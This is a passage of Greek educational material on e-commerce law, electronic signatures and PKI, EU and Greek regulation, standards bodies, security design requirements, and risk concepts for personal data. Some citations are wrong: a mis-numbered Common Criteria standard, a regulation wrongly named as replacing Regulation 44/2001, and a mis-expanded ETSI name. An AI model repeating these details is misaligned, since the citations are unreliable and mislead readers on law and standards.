Η απλή παρουσία και η χρήση των τεχνικών μέσων και των τεχνολογιών που απατούνται για την παροχή της υπηρεσίας δεν συνιστούν εγκατάσταση του φορέα». Έχει διατυπωθεί η άποψη ότι ορισμένες επιχειρήσεις δηλώνουν τη χώρα εγκατάστασης μέσω ηλεκτρονικής διεύθυνση, της οποίας το ανώτατο επίπεδο δηλώνει χώρα (όπως π.χ. το .gr για την Ελλάδα). Όντως το όνομα χώρου μπορεί να αποτελέσει ένα τεκμήριο, το οποίο όμως δεν δεσμεύει τα δικαστήρια και τον εφαρμοστή του δικαίου γενικά εάν από το σύνολο των στοιχείων και των περιστάσεων συνάγεται ότι η ουσιαστική εγκατάσταση βρίσκεται σε άλλη χώρα. Με βάση και τις ρυθμίσεις του Κοινοτικού Κανονισμού 44/2001 όπως αντικαταστάθηκε από τον Κανονισμό 2201/2003 εισάγεται η «εύνοια» προς τον καταναλωτή ως προς το δίκαιο που εφαρμόζεται και τα αρμόδια δικαστήρια. Ταυτόχρονα η νομοθεσία για το ηλεκτρονικό εμπόριο εισάγει τη γενική αρχή για μη περιορισμό των δικαιωμάτων του καταναλωτή. Κατά συνέπεια, ο καταναλωτής υπηρεσιών κοινωνίας της πληροφορίας έχει καταρχήν δικαίωμα επιλογής άσκησης των ένδικων μέσων (αγωγή) είτε στα δικαστήρια του τόπου στον οποίο κατοικεί είτε στα δικαστήρια της έδρας του προμηθευτή. Ως προς το δίκαιο που θα εφαρμοστεί γίνεται γενικά δεκτό ότι ο καταναλωτής δεν πρέπει να στερηθεί την προστασία που του προσφέρουν οι κανόνες δικαίου της χώρας στην οποία έχει τη διαμονή του. Ακόμη και εάν τα μέρη έχουν συμφωνήσει εφαρμογή δικαίου άλλης χώρας, δεν επιτρέπεται να περιορίζονται τα δικαιώματα του καταναλωτή. Οι τεχνικώς ασφαλείς αλλά και νομικώς αναγνωρισμένες ηλεκτρονικές συναλλαγές μέσω ανοικτών δικτύων (π.χ. διαδίκτυο), αποτελούν τη βασική προϋπόθεση για την περαιτέρω ανάπτυξη του ηλεκτρονικού εμπορίου. Τα παραδοσιακά μέσα για την καταγραφή και απόδειξη μιας «συμβατικής συναλλαγής» (π.χ. υπογραμμένα έγγραφα, φωτοαντίγραφα ταυτοτήτων), αντικαθιστούνται σταδιακά με ηλεκτρονικά δεδομένα, με τη βοήθεια συγκεκριμένων τεχνολογιών όπως Υποδομή Δημοσίου Κλειδιού PKI, βιομετρικές μέθοδοι κλπ. Σχετικές νομοθετικές ρυθμίσεις προσφέρουν στις ηλεκτρονικές συναλλαγές την

ασφάλεια, την αναγνωρισιμότητα και την εμπιστοσύνη που διαθέτουν οι συμβατικές συναλλαγές. Η πλήρης αντικατάσταση των παραδοσιακών έντυπων μέσων με αντίστοιχα ψηφιακά δεδομένα (τα οποία επιτρέπουν ολοκληρωμένες ηλεκτρονικές συναλλαγές), προϋποθέτει τη χρήση ασφαλών και τεχνικώς αξιόπιστων μεθόδων πιστοποίησης της προέλευσης και της ακεραιότητας των δεδομένων και κυρίως την παροχή αποδείξεων για τη μη αποκήρυξη της συναλλαγής, κάτι που σήμερα μπορεί να παράσχει άμεσα μόνο η χρήση «προηγμένων ηλεκτρονικών υπογραφών» και σχετικών «ηλεκτρονικών πιστοποιητικών ταυτοποίησης». Αυτές οι τεχνικές εξασφαλίζουν επιπλέον την ταυτοποίηση των συναλλασσόμενων και, κάτω από προϋποθέσεις, τη νομική δέσμευση του υπογράφοντα για τη μη αποποίηση της συναλλαγής. Μέχρι σήμερα η πιο κοινή μορφή ηλεκτρονικής υπογραφής είναι η ψηφιακή, η οποία δημιουργείται και επικυρώνεται με τη βοήθεια της κρυπτογράφησης. Η κρυπτογράφηση και αποκρυπτογράφηση γίνεται μέσω μαθηματικών αλγόριθμων οι οποίοι κάνουν χρήση δύο κλειδιών, σχετικών μεταξύ τους, ενός ιδιωτικού, για τη δημιουργία της υπογραφής, και ενός κοινού, για την πιστοποίηση της. Περισσότερες πληροφορίες για την κρυπτογραφία υπάρχουν στο Παράρτημα. Η αναγνώριση του ότι η διόγκωση του διαδικτύου και η ανάπτυξη του ηλεκτρονικού εμπορίου προσφέρουν μια ευκαιρία για οικονομική ενοποίηση, οδήγησε την Ευρωπαϊκή Ένωση στην έκδοση της κοινοτικής οδηγίας σχετικά με τις ηλεκτρονικές υπογραφές, αποσκοπώντας στην ύπαρξη ενός κοινού πλαισίου. Η κοινοτική οδηγία σχετικά με τις ηλεκτρονικές υπογραφές έθεσε το νομικό πλαίσιο για την αναγνώριση τους. Η αξιοπιστία τους είναι ιδιαίτερα σημαντική για τη δημιουργία ανοικτών αγορών, την ανάπτυξη εμπιστευτικών υπηρεσιών ανάμεσα σε διαφορετικές χώρες και την αύξηση της ανταγωνιστικότητας. Για το ηλεκτρονικό εμπόριο απαιτούνται «ηλεκτρονικές υπογραφές» και συναφείς υπηρεσίες που παρέχουν τη δυνατότητα απόδειξης της γνησιότητας των δεδομένων. Η ύπαρξη αποκλινόντων κανόνων όσον αφορά τη νομική αναγνώριση των ψηφιακών υπογραφών και διαπίστευση «παρόχων υπηρεσιών πιστοποίησης» στα κράτη μέλη ενδέχεται να αποτελέσει σημαντικό φραγμό για τη χρήση του ηλεκτρονικού εμπορίου. Από την άλλη πλευρά ένα σαφές κοινοτικό πλαίσιο σχετικά με τις προϋποθέσεις που θα εφαρμόζονται στις ηλεκτρονικές υπογραφές θα ενισχύσει την εμπιστοσύνη στις νέες τεχνολογίες και θα συμβάλει στη γενική αποδοχή τους.

Η νομική αναγνώριση των ηλεκτρονικών υπογραφών σε διεθνές επίπεδο, ξεκίνησε από τα μέσα της προηγούμενης δεκαετίας με τη θέσπιση σχετικών νόμων σε διάφορα κράτη. Διακρίνονται δύο διαφορετικές νομικές προσεγγίσεις Η «μινιμαλιστική προσέγγιση» (minimalist approach), όπου «κάθε αξιόπιστη τεχνολογική μέθοδος απόδειξης της προέλευσης και της αυθεντικότητας των ψηφιακών δεδομένων πρέπει να γίνεται νομικώς αποδεκτή». Η «αναλυτική προσέγγιση» (prescriptive approach), σύμφωνα με την οποία «μόνο συγκεκριμένες τεχνολογικές μέθοδοι, οι οποίες ικανοποιούν συγκεκριμένα κριτήρια ασφάλειας και αξιοπιστίας, αναγνωρίζονται άμεσα ως νομικά ισότιμες με τις ιδιόχειρες υπογραφές». Η Ευρωπαϊκή Ένωση, με την Οδηγία 99/93/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 13ης Δεκεμβρίου 1999 «Σχετικά με το κοινοτικό πλαίσιο για ηλεκτρονικές υπογραφές» ακολούθησε μια μικτή προσέγγιση δύο επιπέδων (two-tier approach), η οποία συνδυάζει και τις δύο παραπάνω κατευθύνσεις. Η Οδηγία 99/93/ΕΚ αναγνωρίζει ως «ηλεκτρονικές υπογραφές», οι οποίες μπορούν να χρησιμοποιηθούν

ως

αποδεικτικά

στοιχεία σε νομικές διαδικασίες, όλα τα «δεδομένα σε ηλεκτρονική μορφή τα οποία είναι συνημμένα σε, ή λογικά συσχετιζόμενα με, άλλα ηλεκτρονικά δεδομένα και τα οποία χρησιμεύουν ως μέθοδος απόδειξης της γνησιότητας». Από την κανονιστική πλευρά, η εν λόγω Οδηγία διακρίνει ποιοτικά μια συγκεκριμένη κατηγορία ηλεκτρονικών υπογραφών, αποκαλούμενες συχνά ως αναγνωρισμένες ηλεκτρονικές υπογραφές, στην οποία κατηγορία αποδίδει πλήρη και άμεση νομική ισοδυναμία με τις ιδιόχειρες υπογραφές, σύμφωνα με το ισχύον δίκαιο του κάθε κράτους μέλους.

Στην Ελλάδα, η πρώτη νομοθετική πρόβλεψη για ψηφιακές υπογραφές (οι οποίες ταυτίζονται εννοιολογικά με τις προηγμένες ηλεκτρονικές υπογραφές της Οδηγίας 99/93/ΕΚ) γίνεται ήδη από το άρθρο 14 του ν. 2672/98 όπου παρέχεται μια αρχική, αλλά περιορισμένη αναγνώριση τους σε διαδικασίες του δημόσιου τομέα. Ακολούθησε το Π.Δ. 150/2001 (ΦΕΚ Α’/125 25-6-2001) το οποίο εναρμόνισε το εθνικό μας δίκαιο με την παραπάνω Οδηγία και καθόρισε την Εθνική Επιτροπή Τηλεπικοινωνιών & Ταχυδρομείων (ΕΕΤΤ) ως αρμόδια αρχή για την εποπτεία των εγκατεστημένων στην Ελλάδα Παρόχων Υπηρεσιών Πιστοποίησης ηλεκτρονικής υπογραφής (ΠΥΠ), Στο πλαίσιο άσκησης των σχετικών αρμοδιοτήτων της, η ΕΕΤΤ έχει εκδώσει ένα γενικό Κανονισμό Παροχής Υπηρεσιών Πιστοποίησης Ηλεκτρονικής Υπογραφής, καθώς και

τρεις κανονισμούς σχετικά με την Εθελοντική Διαπίστευση των ΠΥΠ, τη διαπίστωση (της συμμόρφωσης με τις απαιτήσεις της Οδηγίας) βασικών προϊόντων ηλεκτρονικής υπογραφής, και τον ορισμό των Φορέων που θα προβαίνουν σε σχετικούς ελέγχους και διαπιστεύσεις για λογαριασμό της ΕΕΤΤ. Ευρωπαϊκό Ινστιτούτο Τηλεπικοινωνιακών Προτύπων (Electronic Telecommunications Standardization Institute - ETSI) 1.

Το ETSI, αντίστοιχα, είναι ένας ανεξάρτητος και μη κερδοσκοπικός οργανισμός, του

οποίου σκοπός είναι η παραγωγή τηλεπικοινωνιακών προτύπων. Συγκεντρώνει παραγωγούς και προμηθευτές προϊόντων και υπηρεσιών, ομάδες ερευνητών και τελικούς χρήστες, αποτελώντας ένα forum στο οποίο συμμετέχουν και συνεισφέρουν όλοι οι ενδιαφερόμενοι, με αποτέλεσμα οι εργασίες του ETSI να ανταποκρίνονται στις απαιτήσεις της αγοράς. 2.

Το αντικείμενο των εργασιών προτυποποίησης του Οργανισμού εστιάζεται σε όλες

τις λειτουργίες μιας προηγμένης ηλεκτρονικής υπογραφής και ιδίως στις Πολιτικές που διέπουν την έκδοση των σχετικών πιστοποιητικών. Οι διεθνείς οργανισμοί προτυποποίησης εκδίδουν σχετικά τεχνικά πρότυπα και προδιαγραφές, αποσκοπώντας στην όσο το δυνατό μεγαλύτερη συμβατότητα και διαλειτουργικότητα των σχετικών προϊόντων σε παγκόσμιο επίπεδο. 3.

Οι πιο βασικοί διεθνείς οργανισμοί προτυποποίησης που εκδίδουν πρότυπα και

συστάσεις που αφορούν προϊόντα και υπηρεσίες των ηλεκτρονικών υπογραφών είναι: ETSI συνέχεια: Ο διεθνής οργανισμός ISO συνεργάζεται για τα συγκεκριμένα θέματα με το διεθνή οργανισμό IEC με στόχο την ανάπτυξη διεθνών Τεχνικών Προτύπων και την επίτευξη διαλειτουργικότητας μεταξύ των τυποποιούμενων προϊόντων. Μια σημαντική συνεισφορά των οργανισμών ISO/IEC αποτελούν τα πρότυπα που καθορίζουν «Κοινά Κριτήρια» για την αξιολόγηση Ασφάλειας Πληροφοριακών Συστημάτων (Πρότυπο ISO/IEC 1548:1999). Το πρότυπο αυτό αποτελεί τη βάση για την διασυνοριακή αναγνώριση των ηλεκτρονικών υπογραφών ανάμεσα στα κράτη. Ο Παγκόσμιος Τηλεπικοινωνιακός Οργανισμός διαδραματίζει ένα κεντρικό ρόλο στην ανάπτυξη της ηλεκτρονικής υπογραφής καθώς δημιούργησε το πρότυπο Χ.509, ως την βάση ενός συστήματος ταυτοποίησης μέσω ενός πιστοποιητικού και μιας Υποδομής Δημοσίου Κλειδιού. Ο οργανισμός W3C, προσανατολισμένος σε τεχνολογίες Web, ασχολείται με την ασφάλεια της ηλεκτρονικής υπογραφής, προτείνοντας μια εξειδίκευση της υπογραφής υπό την μορφή XML. Η χρήση της τεχνολογίας XML στη σύνταξη και περιγραφή μιας ηλεκτρονικής

υπογραφής, θεωρείται ότι είναι ιδιαίτερα σημαντική, καθώς μπορεί να επιλύσει αρκετά προβλήματα παραμετροποίησης των ηλεκτρονικών υπογραφών. Εκπαιδευτική Υποενότητα 8.2 Σχεδιασμός Ασφαλείας Απαιτήσεις ασφαλείας συστημάτων Ηλεκτρονικού Εμπορίου ΕΙΣΑΓΩΓΗ Οι θεμελιακές αρχές χρήσης και λειτουργίας των πληροφοριακών συστημάτων πρέπει να ικανοποιούν τις ακόλουθες απαιτήσεις ασφάλειας. Απαιτήσεις Ασφάλειας 1. Οι πληροφορίες που συσχετίζονται με προσωπικά δεδομένα θα πρέπει να διαχειρίζονται από το συνολικό σύστημα με σκοπό τη βελτίωση των παρεχομένων υπηρεσιών προς τους πολίτες. 2. Η διαχείριση των πληροφοριών θα πρέπει να γίνεται αποκλειστικά από κατάλληλο εξουσιοδοτημένο προσωπικό. 3. Τα δικαιώματα πρόσβασης στο σύστημα θα πρέπει να έχουν προσδιοριστεί με διαδικασίες ανεξάρτητες της φάσης υλοποίησης του πληροφοριακού συστήματος. 4. Ο καθορισμός των διαδικασιών αυτών γίνεται σε επίπεδο νομοθετικό (νόμοι, διατάγματα), οργανωτικό (κανόνες λειτουργίας οργανισμού, καθηκοντολόγιο) και δομικό (κατάλληλη στελέχωση, υπεύθυνη επιτροπή ασφάλειας. 5. Η παροχή εμπιστευτικών πληροφοριών προς τρίτους θα επιτρέπεται κατόπιν έγγραφης άδειας του άμεσα ενδιαφερόμενου. 6. Οι

μηχανισμοί

ασφάλειας,

δε

θα

πρέπει

να

μειώνουν

τη

συνολική

αποτελεσματικότητα του συστήματος. 7. Στη περίπτωση που δεν είναι δυνατή η εφαρμογή του προηγούμενου αξιώματος, θα πρέπει να υπάρχει ικανοποιητική ισορροπία μεταξύ απόδοσης και ασφάλειας του συστήματος. 8. Συμπερασματικά, η σωστή ανάπτυξη και η αποδοτική λειτουργία πληροφοριακών συστημάτων είναι μια διαδικασία, που εμπεριέχει αναπόσπαστα τη ταυτόχρονη δόμηση ενός πλαισίου ασφάλειας, το οποίο να εξασφαλίζει τις απαιτήσεις ορθότητας, διαθεσιμότητας και μυστικότητας των περιεχομένων πληροφοριών.

Διαδικασίες Καθορισμού Οι διαδικασίες καθορισμού των απαιτήσεων ασφάλειας ενός συστήματος θα πρέπει να σχηματοποιούνται κατά την αρχική φάση καταγραφής και σχεδιασμού του.

Μηχανισμοί Ασφάλειας Στην πραγματικότητα, όμως, οι μηχανισμοί ασφάλειας (στις περιπτώσεις που υπάρχουν), αναπτύσσονται στα τελευταία στάδια ή μετά την υλοποίησή τους, με στόχο την αντιμετώπιση των προβλημάτων ασφάλειας που προέκυψαν στα πρώτα στάδια λειτουργίας τους.

Σημαντικά Μειονεκτήματα 1. Αντιμετώπιση των συνεπειών των παραβιάσεων του συστήματος, που προηγήθηκαν χρονικά της ενσωμάτωσης των διαδικασιών ασφάλειας. 2. Πιθανή αδυναμία αναθεώρησης του συνολικού σχεδιασμού. 3. Δυσκολία ενσωμάτωσης διαδικασιών ασφάλειας στο φυσικό σχεδιασμό. 4. Υψηλός προγραμματιστικός φόρτος υλοποίησης ειδικών τμημάτων του λογισμικού. 5. Δυσκολία αποδοχής από χρήστες, που δεν είναι εξοικειωμένοι με τις διαδικασίες τήρησης της ασφάλειας. 6.

Επιπλέον

κόστος

αγοράς-εγκατάστασης

υπολογιστικού-επικοινωνιακού

εξοπλισμού και ειδικού λογισμικού.

Εμφάνιση των Προβλημάτων Η εμφάνιση των προβλημάτων αυτών μπορεί να αποφευχθεί με την έγκαιρη θεώρηση των απαιτήσεων ασφάλειας του συστήματος.

Υλοποίηση των Απαιτήσεων Ασφάλειας Η μελέτη, ο καθορισμός και η υλοποίηση των απαιτήσεων ασφάλειας και των κατάλληλων διαδικασιών θα πρέπει να διεξάγεται παράλληλα με όλα τα στάδια του κύκλου ζωής του πληροφοριακού συστήματος.

Υιοθέτηση της Στρατηγικής Με την υιοθέτηση της στρατηγικής αυτής, θα είναι δυνατός ο καθορισμός των κατάλληλων οργανωτικών μετασχηματισμών (ροές δεδομένων), διαδικασιών, συστατικών (εξοπλισμός, λογισμικό, δικτυακή υποδομή) και περιβάλλοντος λειτουργίας (user interface) του συστήματος.

Τεχνική Δομημένης Ανάλυσης Αποτελεί μία τροποποίηση ενός συμβατικού βαθμωτού διαγράμματος της τεχνικής δομημένης ανάλυσης και σχεδίασης (Structured analysis and Design Technique - SADT).

Μηχανισμοί Διατήρησης Υψηλής Σύμφωνα με τη μέθοδο αυτή, οι μηχανισμοί διατήρησης υψηλής ασφάλειας εισάγονται στην αρχική θεώρηση του συνολικού συστήματος και ειδικότερα στα στάδια σχηματισμού των γενικών απαιτήσεων και των λειτουργικών τμημάτων αυτού.

Φάση του Σχεδιασμού Κατά τη φάση του σχεδιασμού, οι προδιαγραφές αυτές σε συνδυασμό με το περιβάλλον και την υφιστάμενη οργανωτική δομή, παράγουν σαφείς μεθόδους και διαδικασίες λειτουργίας του συστήματος.

Φάση της Ανάπτυξης Στη φάση της ανάπτυξης, που ακολουθεί, υλοποιούνται τα λειτουργικά τμήματα σε εξάρτηση με τη διαθέσιμη υποδομή (αρχιτεκτονική, εξοπλισμός, λογισμικό συστήματος, ΣΔΒΔ).

Διαδικασία Ελέγχου και Αποτίμησης Στην επόμενη φάση (διαδικασία ελέγχου και αποτίμησης) ελέγχεται η υλοποίηση με βάση τις αρχικές προδιαγραφές και λειτουργικές απαιτήσεις.

Βελτιστοποίηση της Απόδοσης Με στόχο τη βελτιστοποίηση της απόδοσης της μεθόδου αυτής θα πρέπει να δημιουργηθούν κατάλληλα μοντέλα απεικόνισης και αποτίμησης της λειτουργικότητας των παραμέτρων που σχετίζονται με την εισαγωγή των διαδικασιών διατήρησης της ασφάλειας, στο σύνολο του κύκλου ζωής ενός πληροφοριακού συστήματος (Risk analysis, evaluation).

Κίνδυνοι απώλειας δεδομένων και τρόποι προστασίας τους Η έννοια του κινδύνου εμφανίστηκε αρχικά κατά τον 17ο αιώνα σαν μία μαθηματική προσέγγιση της σχέσης μεταξύ της πιθανότητας και του μεγέθους των δυνητικών κερδών ή απωλειών που προέρχονταν από τα τυχερά παιχνίδια. Αργότερα, τον 18ο αιώνα, η έννοια του κινδύνου χρησιμοποιήθηκε για να αποδώσει κατά έναν ουδέτερο τρόπο τα κέρδη και τις απώλειες στον κλάδο της ναυτιλιακής ασφάλισης, ενώ τον 19ο αιώνα εμφανίστηκε για πρώτη φορά με μία πιο αρνητική χροιά στην οικονομική επιστήμη, οπότε και σχετίστηκε με την ανάληψη ρίσκου από πλευράς των επιχειρηματιών για την πραγματοποίηση επενδύσεων. Τον 20ο αιώνα, η έννοια του κινδύνου καθίσταται άμεσα συνυφασμένη με τα αποτελέσματα της επιστημονικής και τεχνολογικής προόδου και ως εκ τούτου απόκτα μία ακόμα περισσότερο αρνητική ερμηνεία. Σήμερα, ο όρος κίνδυνος (risk) εμπεριέχει πολλές και διαφορετικές έννοιες στην εμπορική και καθημερινή ζωή. Σε γενικές γραμμές, χρησιμοποιείται για να αποτυπώσει μία κατάσταση στην οποία ενυπάρχει αβεβαιότητα ως προς το αναμενόμενο αποτέλεσμα. Στην στατιστική επιστήμη, την οικονομική διαχείριση αλλά και τον επενδυτικό τομέα, ο κίνδυνος αντιπροσωπεύει την πιθανή απόκλιση μίας αναμενόμενης τιμής. Όσο μεγαλύτερος είναι ο κίνδυνος, τόσο μικρότερη θα είναι η εκτιμώμενη κάθε φορά αξία, πράγμα το οποίο οφείλεται στην θετική σχέση μεταξύ κινδύνου και απόδοσης. Με άλλα λόγια, ένας υψηλός κίνδυνος συνεπάγεται υψηλή απαιτούμενη απόδοση, γεγονός που οδηγεί σε υψηλό κόστος κεφαλαίου και συνεπώς χαμηλή αξία Η έννοια του κινδύνου είναι άρρηκτα συνδεδεμένη με τις έννοιες της αβεβαιότητας και της πιθανότητας, εξ’ ου και γίνεται κατανοητό ότι ο κίνδυνος περιλαμβάνει όχι μόνο την αρνητική έκβαση μίας κατάστασης, ήτοι απόδοση χαμηλότερη από την αναμενόμενη, αλλά και τη θετική έκβαση αυτής, ήτοι απόδοση μεγαλύτερη από την αναμενόμενη.

Καθημερινά, τα άτομα και οι επιχειρήσεις καλούνται να αντιμετωπίσουν κινδύνους ικανούς να προκαλέσουν ζημίες ή να αποτελέσουν ευκαιρίες κέρδους. Κατά την εξέταση δε των δυνητικών ζημιών, χρήζουν ενδελεχούς διερεύνησης τόσο οι άμεσες ζημίες (direct losses) που ενδέχεται να προέλθουν εξαιτίας μίας επικίνδυνης κατάστασης, όσο και οι έμμεσες ζημίες (indirect losses) που προκύπτουν ως παρεπόμενο αυτών. Για τις επιχειρήσεις, μάλιστα, οι έμμεσες ζημίες κρίνονται ιδιαίτερα σημαντικές και η πιθανότητα εμφάνισης αυτών αποτελεί έναν από τους βασικότερους λόγους που ωθούν τα διοικητικά στελέχη στην άμεση λήψη αποφάσεων για τον περιορισμό των επικείμενων κινδύνων. Για την αποφυγή των εκάστοτε οικονομικών ή άλλου είδους ζημιών, η έλευση των οποίων ενδέχεται να καταστήσει επισφαλή την βιωσιμότητα της επιχείρησης, κρίνεται απαραίτητη η έγκαιρη εφαρμογή των κατάλληλων μεθόδων διαχείρισης κινδύνων, όπως αυτές θα αναλυθούν εκτενώς στα κεφάλαια που ακολουθούν.

Η έννοια του κινδύνου για τα προσωπικά δεδομένα Στον τομέα της ασφάλειας των προσωπικών δεδομένων, ο κίνδυνος αποτελεί το ενδεχόμενο μία συγκεκριμένη απειλή να εκμεταλλευτεί τις ευπάθειες ενός ή περισσότερων προστατευόμενων από την επιχείρηση αγαθών, προκαλώντας σοβαρές ζημίες σε αυτήν. Ο κίνδυνος (R) ορίζεται ως το γινόμενο της πιθανότητας (P) να συμβεί ένας συγκεκριμένος αριθμός περιστατικών παραβίασης ασφάλειας μέσα σε ένα συγκεκριμένο χρονικό διάστημα επί το κόστος (C) της ζημιάς που θα προκύψει (R= P x C). Στο σημείο αυτό, κρίνεται σκόπιμο να αποδοθούν σημασιολογικά οι παρακάτω βασικές έννοιες, οι οποίες συμβάλλουν στην κατανόηση της έννοιας του κινδύνου, των προϋποθέσεων εμφάνισής του και του τρόπου διαχείρισης αυτού: o Απειλή (threat): είναι η δυνητική αιτία πρόκλησης ενός περιστατικού παραβίασης της ασφάλειας των δεδομένων, η οποία ενδέχεται να προκαλέσει ζημίες στα συστήματα του οργανισμού και κατ’ επέκταση στην λειτουργία του γενικότερα. Κατηγοριοποιούνται σε απειλές φυσικές, τεχνικής φύσεως, καθώς και ανθρώπινες. Σύμφωνα με το άρθρο 4 του Γενικού Κανονισμού για την προστασία των προσωπικών δεδομένων, ως απειλή θεωρείται κάθε τυχαία ή παράνομη καταστροφή, απώλεια, μεταβολή, άνευ άδειας κοινολόγηση ή πρόσβαση δεδομένων προσωπικού χαρακτήρα που διαβιβάστηκαν, αποθηκεύτηκαν ή υποβλήθηκαν κατά άλλο τρόπο σε επεξεργασία. Προϋπόθεση εμφάνισης της απειλής αποτελεί η ευπάθεια του προβαλλόμενου αγαθού. o Ευπάθεια (vulnerability) : είναι η αδυναμία που παρουσιάζει ένα αγαθό ή μία ομάδα αγαθών, η οποία καθίσταται εύκολα εκμεταλλεύσιμη από μία ή περισσότερες απειλές. Ενδεικτικά αναφέρονται οι ευπάθειες λογισμικού, όπως η παράλειψη αποσύνδεσης των χρηστών, οι ευπάθειες δικτύου,

όπως λόγου χάριν η μη κρυπτογραφημένη μετάδοση εμπιστευτικών πληροφοριών και οι ευπάθειες 29 προσωπικού, όπως η έλλειψη διαδικασιών ασφάλειας ή ελλιπής ενημέρωση των εργαζομένων για την διαχείριση των εκάστοτε περιστατικών ασφάλειας. o Γεγονός (event) : είναι ένα περιστατικό ή μία κατάσταση του δικτύου και των συστημάτων της επιχείρησης, που υποδεικνύει πιθανή παραβίαση της πολιτικής ασφάλειας των δεδομένων ή αναποτελεσματική εφαρμογή των μέτρων ασφάλειας. o Περιστατικό παραβίασης ασφάλειας (security incident): πρόκειται για εκείνο το περιστατικό, το οποίο προκαλείται από ένα μεμονωμένο γεγονός ή μία σειρά ανεπιθύμητων γεγονότων ικανών να οδηγήσουν στην παραβίαση της ασφάλειας των προσωπικών δεδομένων ή άλλων εμπιστευτικών πληροφοριών της επιχείρησης. o Αντίμετρο ή μέτρο ασφάλειας (counter measure): ως αντίμετρο θεωρείται κάθε μέτρο ικανό να συντελέσει στην αποτελεσματική διαχείριση του κινδύνου, όπως πολιτικές, κανόνες, διαδικασίες ή οργανωσιακές πρακτικές.

Κατηγορίες Κινδύνων Οι κίνδυνοι της επιχείρησης γενικά Από την πρώτη στιγμή λειτουργίας της, η επιχείρηση έρχεται καθημερινά αντιμέτωπη με πολλαπλούς κινδύνους, οι οποίοι μπορεί να χαρακτηρίζονται από διαφορετικό βαθμό σημαντικότητας και έντασης, χρήζουν ωστόσο μίας συνολικής και αποτελεσματικής διαχείρισης. Οι κίνδυνοι, ανάλογα με τα ιδιαίτερα χαρακτηριστικά τους και τους παράγοντες που συντελούν στην διαμόρφωσή τους, διακρίνονται σε πολλές επιμέρους κατηγορίες, μερικές από τις βασικότερες παρουσιάζονται αναλυτικά στην συνέχεια. Μία από τις κύριες διακρίσεις των κινδύνων αυτών αποτελεί η κατηγοριοποίησή τους σε ενδογενείς και εξωγενείς. Ενδογενείς είναι οι κίνδυνοι οι οποίοι προέρχονται από το εσωτερικό της επιχείρησης και οφείλονται σε ελαττωματικές λειτουργίες ή διαδικασίες αυτής και οι οποίες σχετίζονται, παραδείγματος χάριν, με τον τομέα διαχείρισης του ανθρωπίνου δυναμικού, τον οικονομικό τομέα, την παραγωγή, την διαφήμιση και προώθηση των προϊόντων της (marketing) ή το κομμάτι της τεχνολογικής και μηχανογραφικής υποστήριξης γενικότερα. Αντίθετα, εξωγενείς χαρακτηρίζονται όσοι κίνδυνοι προέρχονται εξ’ ολοκλήρου από το εξωτερικό περιβάλλον τις επιχείρησης, όπως μακροοικονομικό, πολιτικό, κοινωνικό και θεσμικό. Η αντιμετώπιση των εξωγενών κινδύνων καθίσταται περισσότερο δυσχερής, σε σχέση με τους ενδογενείς, 30 λόγω του πολύ μικρού βαθμού επιρροής που δύναται να ασκήσει η επιχείρηση πάνω τους. Ειδικότερα, οι κίνδυνοι που καλείται να αντιμετωπίσει η σύγχρονη επιχείρηση μπορούν να ομαδοποιηθούν στις τέσσερις παρακάτω βασικές κατηγορίες:

• Φυσικοί κίνδυνοι (natural risks) : περιλαμβάνουν απρόβλεπτα γεγονότα, τα οποία δεν πηγάζουν από τις συνθήκες φυσιολογικής λειτουργίας της επιχείρησης αλλά προέρχονται από τις φυσικές διεργασίες του περιβάλλοντος, όπως σεισμός, τυφώνας ή πλημμύρα. Η πιθανότητα συχνότητάς τους είναι πολύ χαμηλή, η πιθανή τους ένταση όμως, σε περίπτωση που επέλθουν, είναι πολύ μεγάλη με σοβαρές επιπτώσεις για τον ανθρώπινο παράγοντα. • Οικονομικοί κίνδυνοι (financial risks): ως οικονομικός κίνδυνος ορίζεται η μεταβλητότητα των δυνητικών αποτελεσμάτων μιας επένδυσης γύρω από την αναμενόμενη τιμή ή τον αριθμητικό τους μέσο. Σχετίζεται επίσης με την εισροή και την εκροή των χρημάτων στην επιχείρησης, καθώς και με την πιθανότητα μίας ξαφνικής οικονομικής απώλειας. Οι οικονομικοί κίνδυνοι πηγάζουν από τους κινδύνους αγοράς, ήτοι την έκθεση της επιχείρησης στην αλλαγή της αξίας των πρώτων υλών, των εμπορευμάτων, των αποθεμάτων και την μεταβλητότητα στις τιμές των διάφορων χρηματοοικονομικών εργαλείων και μεγεθών, όπως των μετοχών, των επιτοκίων και των συναλλαγματικών ισοτιμιών. Στην κατηγορία αυτή ενδεικτικά συμπεριλαμβάνονται ο κίνδυνος ρευστότητας, ο πιστωτικός κίνδυνος, ο κεφαλαιακός κίνδυνος, καθώς και ο συναλλαγματικός. • Λειτουργικοί κίνδυνοι (operational risks): Λειτουργικός ή επιχειρησιακός κίνδυνος είναι ο κίνδυνος που αντιμετωπίζει μία επιχείρηση κατά την διάρκεια της παραγωγικής διαδικασίας και οφείλεται στον ανθρώπινο παράγοντα. Περιλαμβάνει τα προβλήματα που παρουσιάζονται στις εσωτερικές διεργασίες, τις εργασιακές σχέσεις, τα πληροφοριακά συστήματα της επιχείρησης και κάθε άλλη δυσλειτουργία που οφείλεται στον άνθρωπο. Είναι κατανοητό ότι οι επιχειρήσεις με μικρότερες απαιτήσεις για ανθρώπινο κεφάλαιο θα έχουν και χαμηλότερο επιχειρησιακό κίνδυνο. • Επιχειρηματικοί κίνδυνοι (business risks): Πρόκειται για τους κινδύνους μείωσης της αποδοτικότητας και της παραγωγικότητας μιας επιχείρησης λόγω λανθασμένων αποφάσεων της διοίκησης, που έχουν ως συνέπεια την εμφάνιση ζημιών. Στην κατηγορία αυτή εντάσσεται και ο κίνδυνος φήμης (reputational risk) της επιχείρησης, ο οποίος κατά γενική ομολογία θεωρείται κίνδυνος υψηλής συχνότητας και έντασης.

Οι κίνδυνοι για τα προσωπικά δεδομένα σήμερα Για να είναι εφικτός ο εντοπισμός και αξιολόγηση των κινδύνων με τους οποίους απειλούνται σήμερα τα προσωπικά δεδομένα της εκάστοτε επιχειρησιακής οντότητας, θα πρέπει πρώτα να ληφθεί υπόψη το σύγχρονο περιβάλλον της επικινδυνότητας καθώς και οι τάσεις εξέλιξης του. Σύμφωνα με την μη κερδοσκοπική αμερικανική οργάνωση «Identity Theft Resource Center», έως την 19η Οκτωβρίου του περασμένου έτους είχαν καταγραφεί 783 παραβιάσεις

